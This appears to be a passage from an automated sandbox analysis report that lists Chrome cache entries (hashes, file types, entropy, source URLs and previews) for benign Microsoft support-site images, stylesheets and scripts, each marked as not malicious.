SHA-512:	64FC3443164B60FA53C22E205817E94B83E8A63CCBB8F38D38AE6A5CE819A0868C26680A82CA1C62DB344386DF4C7F61EF1047188935E10D2B255BDDF2D43702
Malicious:	false
Preview:	RIFF....WEBPVP8 t........@.@.>Q..D.....U48....i..^.x..8.....?.B.`..@?...z.~.zi~...~.zS..$u...>.......y..Ki.%...>.....b.^..M`.......s...........%.."...G,)U...U.....W?.[..M...[.S...A.4.c.bz......OY.%9E......W.S......<3V:`NNF./.:N.Y.d.4b.aal....w]......J..<2..k\M^..'............y\|../;..-..h~I....M...s...03.a......La.j...]E3.-.,2f...ke=WL`..J..6>@Q..]tG.<.....mP?}.>z.W.@P..[....J.$.....7..0....P...\|.!.......}.]b..2.......P.z.....2.So.Hk.r.Z.*NCc.k7....A.[&5.sL^.+.)...Yg...`..>.......X._.<'6.....`/l..a:....].'.:...}W_I.}\|..N.....4n8...y.iKT.4B.N....#..d.D..R0.y-K......D......q...s...9....]eN.L.()M8......<>.N}.....

Chrome Cache Entry: 427

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18254
Entropy (8bit):	7.950218967534029
Encrypted:	false
SSDEEP:	384:4ZgtqkzeTs36Io/E0ZadkL8eExKAF+2/IEBTbztwaLAWoAGuJ:4aBzwWunZayL8eExKAFtQOTbzCak92
MD5:	334DB99BB88BA472A3116C0B3A7449DE
SHA1:	12B43CCBAA0A58336319B7AD981F8EECE202228F
SHA-256:	2853C551260E74FD1BADFBBCBA7ADC12539FC2BBC6124516D3AE4F3BDD76A2CA
SHA-512:	8AB869E0D4201A8F1BF2FDAE69524E481E80502D0881837D57B7ECF91075E0BE3A0DDFCD4E045B0CD5FEEFB405067A0EE76B1CFEA902C43D546AE9AF9F0DB469
Malicious:	false
URL:	https://support.content.office.net/en-us/media/9255871d-06a6-4de5-9236-5fd7af100c5c.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...F.IDATx..y.&Uu....P. .&"...........`...".!e$.e..M.Q..T.d...18....HJ+j.@R.E+&e"..,%K.B.f.?.Y..4.g..v....ow.>U]........o.s.;........a...\.-[....cIN3.......Pr<._.r.{B............[.).5k..{..G.).n.........V....]n.{...5.....L..P+..%7.mW&,R..=..\...pu.T.s.J...._.....2........xW..s$TL.eCIu.9. $.INm..m.]{c_l....~..q..x...G.........=..r.`Z.X.b.)PO-.Dg...Iu..v.R....F. .-....E.Hix......57B.5.!.....".029...@O...}.r"..S.....a_..#....qhO..<..s.C..7.~.E..... .....}........,../2X...`...L..pZ.}...k...e..aM.u........k.^U~..z.@.f..2.:.......!m.v.0........3D...}.&.$..@ZB-T.J.=.. .].+..>.....!..0SR7R.3.3m..)...0.....y..PFm...{<S....s.'...`!....z..O..y.u....@Zrp..b.c...=........:..:F.'+BJ..'.@..v.K.=..b.PU.h}..H...... .,R.R[..g.$....:........".\s{.8.Kh..F.hz..R.....&..'...%..)..S..m.......s.k.. cb..,....p.H.U.....")..t..)...Z...i.W..\.`!...S..C.5.Z..........$.j..b....lem.t^..K...hr

Chrome Cache Entry: 428

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (367), with no line terminators
Category:	dropped
Size (bytes):	367
Entropy (8bit):	4.9898089353102595
Encrypted:	false
SSDEEP:	6:Q3RnadmyWRLnadIrM9nadYErmC+LGI1nadmWYElnH0IASS3c7swWJ/cxGPvZ/c8e:cYdIRGdIg8dlHEGIUd4Eh0IA1cbWNb9u
MD5:	F81E446FAC9DB5FB37845DD4E069AE27
SHA1:	DE12C417D44EC6A6AC52D5D41BBB35CE8C9A2097
SHA-256:	CD4B2B854F0E1BF350B4E61D015794D0F33A0B187A0C78912085E4DB1CD65F0B
SHA-512:	E13DDEDB6117E516E4278E4F1B6AA80DD62EAF8966E64F5D45D452D85FE2AAD990D770101934BC12AA37B4CDF8D3B3B86DDBD116B53E7C1AE1BFD73AA9C18584
Malicious:	false
Preview:	'use strict';$(function(){var a=document.querySelector("#msChatContainer"),b=document.querySelector(".back-to-top.sticky"),c=document.querySelector(".fixed-back-to-top.fixed-sticky"),d=!(!document.querySelector("#storeassistantroot")\|\|!window.storeAssistantReactJsLib);a&&b&&!d&&$(b).addClass("pageHasChatContainer");a&&c&&!d&&$(c).addClass("pageHasChatContainer")});

Chrome Cache Entry: 429

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	631
Entropy (8bit):	6.391875872958697
Encrypted:	false
SSDEEP:	12:6v/7s6UVprYe6IZeuLgou+/CAztgbbvCR00aJzS4VQIjXuYEMwoQIjXuHBOLPMdo:hX7rRkf+/rMcCJzAIjNEMwNIj8Efl9
MD5:	FB2ED9313C602F40B7A2762ACC15FF89
SHA1:	8A390D07A8401D40CBC1A16D873911FA4CB463F5
SHA-256:	B241D02FAB4B17291AF37993EB249F9303EB5897610ABAFAC4C9F6AA6A878369
SHA-512:	9CBCF5C7B8409494F6D543434ECAFF42DE8A2D0632A17931062D7D1CC130D43E61162EEDB0965B545E65E0687DED4D4B51E29631568AF34B157A7D02A3852508
Malicious:	false
URL:	https://support.microsoft.com/favicon-32x32.png
Preview:	.PNG........IHDR... ... .....D.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<...{PLTE.P".J$x......P".P".J$x.........K..K..K..D.o..w..w..w.........................................................P"...................$tRNS.DD...CC..DEC..CEDDEC..CED...CC...DD.c,8....bKGD(........pHYs...........~.....tIME....."4...4...QIDAT8...G.. ...Q..s....?......s.f..a`.A... .bA!..,/dYQ.....a.((j^.m?4..Q.?.....2>.........%tEXtdate:create.2020-05-28T22:34:52+02:00.t.....%tEXtdate:modify.2020-05-28T22:34:52+02:00.)<'...WzTXtRaw profile type iptc..x.....qV((.O..I.R..#..c..#.K.... D.4.d.#.T ...........H.J.....t.B5.....IEND.B`.

Chrome Cache Entry: 430

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30637)
Category:	dropped
Size (bytes):	30689
Entropy (8bit):	5.2772011788579976
Encrypted:	false
SSDEEP:	768:12o2k0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:1Fh0S0/ks2JdImYFcw662A86vzyR
MD5:	2E588806E1E8D448863AD309DA157830
SHA1:	EE81E8B66D1922627A8942A718DDDB7C118330EF
SHA-256:	C4ED0055730356F2162754A66573B41DCB96BF6E9648AAB63ACF5D81DA80A6EC
SHA-512:	90904F7F2143889D2DC1DF031B51A0DE2558352571E91067A529CCE089CC835A1DC5D0FC6CE6538CA7A8F1829EC3C40DE4176D70DA47FFED26A154557B642892
Malicious:	false
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24228.4","mkt":"en-US","ptn":"windows","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":true,"graphinfo":{"graphclientid":"7eadcef8-456d-4611-9480-4fff72b8b9e2","graphscope":"user.read","graphcodeurl":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize","graphredirecturi":"https://amcdn.msftauth.n

Chrome Cache Entry: 431

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65394)
Category:	downloaded
Size (bytes):	91802
Entropy (8bit):	5.3603423050848615
Encrypted:	false
SSDEEP:	1536:C4F18VDgLMcb+0XbPN1xlJGFqCN3tcULcUoHfe:C4F18VDgLN9LN1mTn
MD5:	CF5CC7F4B57526CC37893DCB83DED031
SHA1:	E953783BE0A7894585778455AAE3D0DF094D6F29
SHA-256:	3A790B6C0D26D7A4D292CB27F992EAFAFF42C37E9318B2AB704207039127FCB8
SHA-512:	2320F9D7811CD773C1E5C2E95A31B39E9FF62A2FA7CA431975873DAB57AE42A75BA720D15AEB47FA2EA127D0766EB5AA15040CFFD04BF7A8CB8BCD7236069C40
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js
Preview:	/!. 1DS JS SDK Shared Analytics, 3.2.18. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,n){var t,r={},i="__ms$mod__",o={},a=o.esm_ms_shared_analytics_mectrl_3_2_18={},u="3.2.18",c="oneDsMeControl3",s=(s=e)[c]=s[c]\|\|{},l=(l=e)[c="oneDsMeControl"]=l[c]\|\|{},e=s[i]=s[i]\|\|{},f=e.v=e.v\|\|[],c=l[i]=l[i]\|\|{},d=c.v=c.v\|\|[];for(t in(c.o=c.o\|\|[]).push(o),n(r),r)s[t]=r[t],f[t]=u,l[t]=r[t],d[t]=u,(a.n=a.n\|\|[]).push(t)}(this,function(e){"use strict";!function(e,n,t){var r=Object.defineProperty;if(r)try{return r(e,n,t)}catch(i){}typeof t.value!==undefined&&(e[n]=t.value)}(e,"__esModule",{value:!0});var y="function",m="object",se="undefined",C="prototype",I="hasOwnProperty",b=Object,S=b[C],x=b.assign,w=b.create,n=b.defineProperty,_=S[I],T=null;function O(e){e=!1===(e=void 0===e\|\|e)?null:T;return e\|\|((e=(e=(e=typeof globalThis!==se?globalThis:e)\|\|typeof self===se?e:self)\|\|typeof window===se?e:window)\|\|typeof global===se\|\|(e=global),T=e),e

Chrome Cache Entry: 432

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 433

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	914
Entropy (8bit):	7.709175168724968
Encrypted:	false
SSDEEP:	12:+76ZA3MVJ1dBNozXUictSGDZj/DgeeNMWwY6BYSsNLt8UlG52bOS7AnDHyIH/:+76ZA3UfKwJSIbDgeS1hG52qZP
MD5:	A5BF74BD152ED13832D6C1DCF0EB350E
SHA1:	A69DC243EEFA4CBF73F72578EACD01720CC2A340
SHA-256:	9F65B2D9E4DEB1DA820F44D4301D8DF8EBA33639C272B0182DEB905A50A139A1
SHA-512:	831D4C08ADB7C98B1793FD871680C1A539E72AB6A11620B54CA6438DE58A36C1A55A5F245BD6E731C90BBFCD06D24312220B176556F9F7509383F1EB0DC4251D
Malicious:	false
Preview:	RIFF....WEBPVP8X........?..?..ALPH......0...BQ.6P...9..E...t..p.VP8 J...0....@.@.>Q".D..!..T8....g..F.......@.@....z.?@=.<....o..?h.@+......U..>.].)....w.+..j..B....=.g....@.<..THq...-.1.bd..G....8..........6..y...}Q.&...X...7.~...`Gn...b%!.&.......k)o...........p.O1.....^......\j....5....~......IZ.....1#=...4+....]..........-.\|.W.r.$.[..X..:....18..V.<.......9:J.'{.6{.\.....{....E.>.......... _i...Ff....`.f.. ...~...I....OZ..W!..w `...6.px.h...[C... (.H. -.z....&.Mm./..*{q.....A&................^....E,]..............lQ.zb.o.~.../.:...9x~.5......$LkAW.Y.L.?r/4.{w.K.I.@..o..=.(Nq.2.s[...w..}&.3...?..%l.n..q...+......n3.[.a..7c.....,......2W....)Q.....9.e..).....\|#A.;o....l.9k.p.3.......{Y.B.n.7........3..u......E..~8m.\ .......=.';..@.....7.U...}..Q3$.....}.1.DK`.;.\|...x....Z.kU.$..f.&..../crY.]...:....F.S.M./?....LB.AD.M...$.....Vm0..Y.....w....../ ...

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 64x64, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	1076
Entropy (8bit):	7.819044796957729
Encrypted:	false
SSDEEP:	24:co3E3Xyk+xrukUDD8GO4hoy3RXymUv6P2dV78ez3MPpk8M:coUnyk+xraYGhjUv6YVnUpk8M
MD5:	2783D0B84F07EA484619AA562B888F2B
SHA1:	639D0F1B4C03E92A9E9774812921D186A34A2161
SHA-256:	37EBD6DEDB7B5BC95A1FB2F26A8DE66B1DACEAC18CDB723DF3ED14D511D35107
SHA-512:	B35A8A43177A0D16BA1A82096007E4D863E068CB7259EF6C08BD9FCB9111684D8E5F640614F65BADF3C0877E070F810696499AAF83A4822A57A501920F8B10F5
Malicious:	false
Preview:	RIFF,...WEBPVP8 ........@.@.>Q".D..!....8....d.&1_......G..wz..3...........@...:.=.\|..p>.?h.p...q..n...G.._"?Q.....?.w.._l..4W.....#.W...=W} =w.'..s......3....j../..U.s.>.-...Y.G.mr.}..nPe&.>....,..8..........z?...X^/m....>r}..r .f~. ../c2....a8.:...7.....'..H.].&.k....R..!!..U.g...VL.....f......'..[:........{...4b.:....mp/G\|m....#.......(.yW`.K ozt....\......`i....M..w;.....>Z......z9.h.....,k...D.C............'.....uj...>..W..#...J...d.k.50.......S.9,....T.SYK.U...#0&...S...3..7.A......&3..G...w.S.}8&..g....k;.l.C#..a.d4._.]N..k).......=..VtJ\..........5...R.N.. Z...bT.5....9].tD.K..i.,...k...]..p...H.,.......+r`.;..^wl....Jz..5]..9...:...r......[G.}.....>..../.U...o..}..!..[.C...}#.L..r_.^.Hh.K1o.!..1.m.r.....M.)_..e.;=.6.k...ko..W...Jq.....p.....0.#7L.W.<$.~Y,.k)W.8_...x.....zVF..,.=.p.a3.......k....=.<....[.M...h=/O.=.7.........0..n.E?...B.0..<v...N5..}.....L.C..7..W...[D.x9.)...,./.......}s...A.{E\|.y../t...\|.%.]......V';.~..R..}...\.

Chrome Cache Entry: 435

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (590)
Category:	downloaded
Size (bytes):	1716
Entropy (8bit):	5.2304068952006615
Encrypted:	false
SSDEEP:	48:4435HDQ258U3JqVnCG/6YyTrkzRLj9tSRAE9P:hU25ZqVC6ByTrWRLjSRAE9P
MD5:	4CFFC2C9B55F8BDE649E0D2535A1EEBD
SHA1:	2AAF4DF1E02ED4F5BB48F00A7423F748BF544E0C
SHA-256:	7BB50A050792F761855CC330E0248D037B37DD68FD23FBB7DB8A7E8694F50A94
SHA-512:	599C87219B7E264CFF8E6951192C691E26DFFA88EFC607EDFE9205F1BB08DA28FD61B508FAE93652BE36BE1ADA57E50661490925B247A43C3EB7F24D8CA0C8D0
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/clientlibs/exp-analytics/v1.min.ACSHASH4cffc2c9b55f8bde649e0d2535a1eebd.js
Preview:	'use strict';var experimentationAnalytics=function(){function g(a){return a&&0<a.length?!1:!0}function m(a){return Object.keys(a).map(function(b){return b+""+a[b]}).join("")}function n(a){var b=a.reduce(function(c,e){c[m(e)]=e;return c},{});return Object.keys(b).map(function(c){return b[c]})}function h(a){console.log("sendToVortex Call");a&&a.analytics&&f(a)}function k(a){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:a&&a.analytics?a.analytics.tnta:""}}}function l(a,.b){return{actionType:"A",behavior:"12",content:JSON.stringify({}),pageTags:{tnta:"",at_activity_name:a&&a.responseTokens[b]?a.responseTokens[b]["activity.name"]:"",at_exp_name:a&&a.responseTokens[b]?a.responseTokens[b]["experience.name"]:"",at_activity_id:a&&a.responseTokens[b]?a.responseTokens[b]["activity.id"]:"",at_exp_id:a&&a.responseTokens[b]?a.responseTokens[b]["experience.id"]:""}}}function f(a,b,c){b="number"===typeof b?b:25;c="number"===typeof c?c:200;var e=0;if(window.expAnalytics&

Chrome Cache Entry: 436

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	406
Entropy (8bit):	4.999363379384117
Encrypted:	false
SSDEEP:	12:ks6KjE5TkTDphV19fuYRTHVGeVphV1cRIKacdvNeJR4:kAI5gXpJ9fu8FpJgIK/dUf4
MD5:	DF20EB81FA2AF3A1C0B0246A9A6A9485
SHA1:	6A76AA264C75B186F9291C351373E89DC3B6D59B
SHA-256:	99E81FEE9CAB25A579FDDFCA6EFCB65A196545FB79FD5FA5D711C5C377C4BFFF
SHA-512:	22F39F69A3FC0A603DA2F169005B6CE35E21B3454C0379792F7DE266CE30063BE4F66B5264E04226B783AFD7E1328951174D470B0E1395AB4A3D4E52BCE73D77
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/mlsd/clientlibs/clientlib-experimentations.min.ACSHASHdf20eb81fa2af3a1c0b0246a9a6a9485.css
Preview:	.experimentation{-webkit-box-ordinal-group:-1 !important;-ms-flex-order:-2 !important;order:-2 !important}..wayFindingModel-mlsd-exp.modal.show .modal-dialog{background:rgb(255,255,255,0.9);max-width:100% !important;justify-content:center}..wayFindingModel-mlsd-exp.modal.show .modal-dialog .modal-content{max-width:800px;border:1px solid #0067b8}..wayFindingModel-mlsd-exp .modal-images img{max-width:50%}

Chrome Cache Entry: 437

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2674)
Category:	dropped
Size (bytes):	2728
Entropy (8bit):	5.253272384445131
Encrypted:	false
SSDEEP:	48:M1wQmQqQNrfAI4dz2eLNBxROk2oDZ8nVlnQiOk50NQclnmlnmZ5flnqlnuln5jBN:emQjNj4t2eLNgsdiQj+RacmVYU57vzKO
MD5:	468D4ACC570CFFC7101AC8A63514AD31
SHA1:	6983E89B6EC798B5B8C2B3B76D9311808437B572
SHA-256:	B4B342F2025799CA602A75590B324E7493B0903726720BCE4CA793207C83255C
SHA-512:	9042A219E8511FF281B9F680B3577CE3EAE29E881F24BE1D2B46C89D1F0013E30AA890C1A0181FF83975E125F62C0C6E896D3B8515067221143D9A3290B42865
Malicious:	false
Preview:	!function(){"use strict";var t,e,n=function(t){try{return sessionStorage.getItem(t)}catch(t){}return null};!function(t){t.EXPANDED="meControlAccountSelectorExpanded",t.COLLAPSED="meControlAccountSelectorCollapsed",t.SWITCHTYPE="meControlSwitchAccountType",t.SWITCHMSA="meControlSwitchMSAAccount",t.SWITCHAAD="meControlSwitchAADAccount"}(t\|\|(t={})),function(t){t.REMOVE="teachingCalloutRemove",t.SHOWN="teachingCalloutShown",t.TIMEOUT="teachingCalloutTimeout"}(e\|\|(e={}));var o,i,a=$("#meControl"),l=$("#smcTeachingCalloutPopover"),c=$("#teachingCalloutDismiss"),r="teachingCalloutShown";function d(t,e){var n,o={isAuto:!1,content:{contentId:e},behavior:t};null===(n=window.analytics)\|\|void 0===n\|\|n.captureContentUpdate(o)}$((function(){l&&l.length>0&&(function(t,e){if(t.length&&e.length){var n=t.offset().top;i=window.setInterval((function(){var o=e.offset().top;t.offset({top:n+o})}),15)}}(l,a),window.document.addEventListener("displayTeachingCallout",(function(t){try{if(null===n(r)&&null!=t.det

Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30237)
Category:	dropped
Size (bytes):	30289
Entropy (8bit):	5.260974426031687
Encrypted:	false
SSDEEP:	768:u2E2n0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:u1M0S0/ks2JdImYFcw662A86vzyR
MD5:	F04D3E51969894BD486CD9A9A1549EA6
SHA1:	6DB7ED2E034FE99F5013144CA91DD21408F7AC36
SHA-256:	33A747222E8AE5381AEB53C9671BB3EB309B7226587674CD6D901F99645A852B
SHA-512:	C7BE3DAB8EF8DBCB3A0AA6022F8191F155358E4E974F0E42F9CD88C372EE77EB4513A6CC54E373CFE90232D67C6B02406B4D281D8158C24B51C8AA433452911C
Malicious:	false
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24228.4","mkt":"en-US","ptn":"smcconvergence","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/","authA

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	211842
Entropy (8bit):	5.548839465294018
Encrypted:	false
SSDEEP:	3072:DismT/mHKxQlVyDqBPAizS7Mzm3NLJa2lQn+S/7qSASyntnh:2smT+X+NLJab+SzqSASyntnh
MD5:	C1338BAD680C7B30034BB2BEE2C447D3
SHA1:	E93C535395F25D15F4AA67E481DFCEAF94F25A1E
SHA-256:	906A3B2A89AA06A9C0DA125FBF248D1F9FD188511B44D4822D9E3FCFD28197E8
SHA-512:	AE28ACA7B8AAB00F7EAF2B5EBCE86F23DD1B91E711100110ED4E2B7B6A68A1284AF777EC87C652789BBBC50B5FA95A18A47A1D1F5B1FF65FDBC6E56EE6FA31E7
Malicious:	false
Preview:	MeControlDefine("meBoot",["exports","@mecontrol/web-inline"],function(t,S){"use strict";var c=function(){},i={},u=[],p=[];function O(t,e){var r,n,o,i,a=p;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(e&&null!=e.children&&(u.length\|\|u.push(e.children),delete e.children);u.length;)if((n=u.pop())&&void 0!==n.pop)for(i=n.length;i--;)u.push(n[i]);else"boolean"==typeof n&&(n=null),(o="function"!=typeof t)&&(null==n?n="":"number"==typeof n?n=String(n):"string"!=typeof n&&(o=!1)),o&&r?a[a.length-1]+=n:a===p?a=[n]:a.push(n),r=o;var s=new c;return s.nodeName=t,s.children=a,s.attributes=null==e?void 0:e,s.key=null==e?void 0:e.key,s}function T(t,e){for(var r in e)t[r]=e[r];return t}function d(t,e){t&&("function"==typeof t?t(e):t.current=e)}var e="function"==typeof Promise?Promise.resolve().then.bind(Promise.resolve()):setTimeout;var l=/acit\|ex(?:s\|g\|n\|p\|$)\|rph\|ows\|mnc\|ntw\|ine[ch]\|zoo\|^ord/i,r=[];function a(t){!t._dirty&&(t._dirty=!0)&&1==r.push(t)&&e(n)}function n(){for(var t;t=r.pop();)t

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6125), with no line terminators
Category:	downloaded
Size (bytes):	6125
Entropy (8bit):	5.234103429010352
Encrypted:	false
SSDEEP:	96:W/M/m/i8V//c//55T/hAh6QcVsOZdNABvQUSZacKp3xAxgBxjGYnvDYn79NN7ZuV:W8mi89/M/5xE6QcVsOZdNAJmotp3xAxU
MD5:	97C18402D0D5AD89F12C548A55C8284F
SHA1:	412ACD023C48FA79C9F846040497C74C2EBEC46D
SHA-256:	464730FF27CB58E32D39C58E96330E89983298C72B1B4183A68E0B7FE4D4CCFA
SHA-512:	38C551DBEC500AA1C450FDADE3E24FA16E71066F7CD75E103E6787C8687838E89BE49181C491F1234D29D7CCECA2B9C0C9FA20010548AD4E5F83D66D0AD1F02F
Malicious:	false
URL:	https://support.microsoft.com/css/feedback/feedback.css?v=Rkcw_yfLWOMtOcWOljMOiZgymMcrG0GDpo4Lf-TUzPo
Preview:	.smbArticleFluent #extendedFeedbackForm .extendedFeedbackArticleInfoUseful{height:auto;display:flex;justify-content:center;align-items:center;gap:32px}.smbArticleFluent #extendedFeedbackForm .extendedFeedbackArticleInfoUseful #beginFeedbackHeader{padding:0;margin:0}.smbArticleFluent #extendedFeedbackForm .extendedFeedbackArticleInfoUseful .extendedFeedbackHeader{font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:16px;font-weight:600;line-height:20px;color:#333}.smbArticleFluent #extendedFeedbackForm .feedbackButtons{font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue","BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:14px;font-weight:600;line-height:20px;display:flex;align-items:flex-start;gap:16px}.smbArticleFluent #extendedFeedbackForm .feedbackButtonBlue{min-width:auto;display:flex;padding:3px 40px;justify-content:center;align-items:center;border-radius:4px}.smbArticleFluent #exte

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	318713
Entropy (8bit):	4.9382988876470755
Encrypted:	false
SSDEEP:	3072:owtki9QkGoO4QPwGY5DPMwqGsbkyvLUi4beyAX/bSe2yUXaemHqOOkwsik7oZtIm:Fj9p
MD5:	F747282A2831677A6CB1C9CA4FE2B8FE
SHA1:	5B58775E73BD52981112378D9CE936305FE95832
SHA-256:	A5B1011E796F97DE920414F0C9A0D54291A16DB3325D2541A003A93D025492F2
SHA-512:	AF25D86E3301E93136F399CACC31E3B037EA4FCF81B95FDA587F38D3D0CAA9286CC5C1C870C184FFE4DF6D773826535266F41D06EB7071357DB60B3970C92BC3
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-base.min.ACSHASHf747282a2831677a6cb1c9ca4fe2b8fe.css
Preview:	.cmp-image__image{width:100%}..aem-Grid{display:block;width:100%}..aem-Grid::before,.aem-Grid::after{display:table;content:" "}..aem-Grid::after{clear:both}..aem-Grid-newComponent{clear:both;margin:0}..aem-GridColumn{box-sizing:border-box;clear:both}..aem-GridShowHidden>.aem-Grid>.aem-GridColumn{display:block !important}..aem-Grid.aem-Grid--1>.aem-GridColumn.aem-GridColumn--default--1{float:left;clear:none;width:100%}..aem-Grid.aem-Grid--1>.aem-GridColumn.aem-GridColumn--offset--default--0{margin-left:0}..aem-Grid.aem-Grid--1>.aem-GridColumn.aem-GridColumn--offset--default--1{margin-left:100%}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--default--1{float:left;clear:none;width:50%}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--default--2{float:left;clear:none;width:100%}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--offset--default--0{margin-left:0}..aem-Grid.aem-Grid--2>.aem-GridColumn.aem-GridColumn--offset--default--1{margin-left:50%}..aem-Grid.aem-Grid--2>.a

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (505)
Category:	dropped
Size (bytes):	1418
Entropy (8bit):	5.418786110345074
Encrypted:	false
SSDEEP:	24:gkWndJbDZVHGCGH0199EYCDNQNFHOS91AqCCoW40HJtmz2Xw+mlu4oFU5kveTOwD:gkw9ZVHG3HEuvNQNFv16XW1HJEkmEhUh
MD5:	20AAFDF6904D3DC5DB0E0E33ABBFC1A4
SHA1:	CC1A639FF69FE0D8A8F1EFEE7FCB04941E7B57C8
